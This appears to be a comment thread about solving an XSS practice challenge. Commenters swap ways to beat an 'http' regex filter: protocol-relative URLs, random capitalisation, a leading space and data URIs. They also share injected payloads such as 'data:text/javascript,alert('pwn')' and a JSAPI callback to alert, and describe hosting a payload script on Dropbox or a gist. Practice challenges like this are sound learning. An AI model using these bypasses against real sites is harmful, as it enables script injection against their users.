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I used "//" to get around the http regex (but this requires using an https host as you mentioned), is there another way to get around the regex?

Spoiler: RaNDoM cApS

Use upper-case characters

i think ftp:// works too

EDIT: no, it doesn't :D

Adding a space just before the URL works just as well.

//www.google.com/jsapi?callback=alert

data:,alert('hi')

SPOILER: You need a way to defeat the regex (see other comments here). Then think about what the "foo" actually does (and read the error console).

What's the trivial solution to this? I also wound up hosting the malicious file on my personal server...

data-uris also work: #data:text/javascript,alert('pwn')

That's what I used too. Hosting scripts is far too much like hard work...

There are apparently easier ways, but I just chucked an alert(); in my Dropbox public folder, did an //dl.dropboxusercontent.com/u/14XXX/xss.js as they serve both http and https.

I put a small gist up and hotlinked through githack.com

gist.github.com serves https, so you can use it whenever you need something sent over https.